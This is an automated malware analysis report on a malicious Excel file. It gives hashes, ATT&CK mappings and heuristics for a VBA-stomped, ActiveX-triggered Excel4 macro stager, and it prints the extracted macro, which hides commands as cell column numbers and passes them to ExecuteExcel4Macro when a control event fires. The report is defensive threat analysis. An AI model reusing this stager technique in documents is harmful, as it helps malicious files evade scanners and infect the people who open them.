Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cffa9be85459012d…

MALICIOUS

Office (OLE)

72.5 KB Created: 2020-07-07 07:13:32 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: cd145541e4815fc0bc60640cd5b6331e SHA-1: 99c43c329ba59ca63d228ecd6eb91cc92142a1c2 SHA-256: cffa9be85459012d44315fb639d583a10e96bad7a9c602ab53bb9461375e90e0
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristic OLE_VBA_ACTIVEX_XLM_STAGER indicates that an ActiveX event triggers the execution of a decoded Excel4 macro. The VBA macro 'stampafattura' iterates through cells and concatenates column numbers, which are then passed to ExecuteExcel4Macro. This mechanism is commonly used to download and execute further stages of malware. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1098 bytes
SHA-256: cac2133bbbed08d2759f6c973bc318a618365aa9e4cf8eb90a9a33abc8537013
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "logo, 4, 0, MSForms, MultiPage"
Sub stampafattura()
Set Rng = [A1:IV1350]
For Each Ts In Rng
If Ts.NumberFormat = 0 Then k = k + Chr(Ts.Column)
Next
m = Split(k, "Q"): For Each II In m
ExecuteExcel4Macro II: Next
End Sub
Private Sub logo_Layout(ByVal Index As Long)
stampafattura
End Sub
Sub restamp()
Application.Dialogs(xlDialogPrint).Show
Application.WindowState = xlMinimized: MsgBox "", vbInformation: ActiveWorkbook.Close 0
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.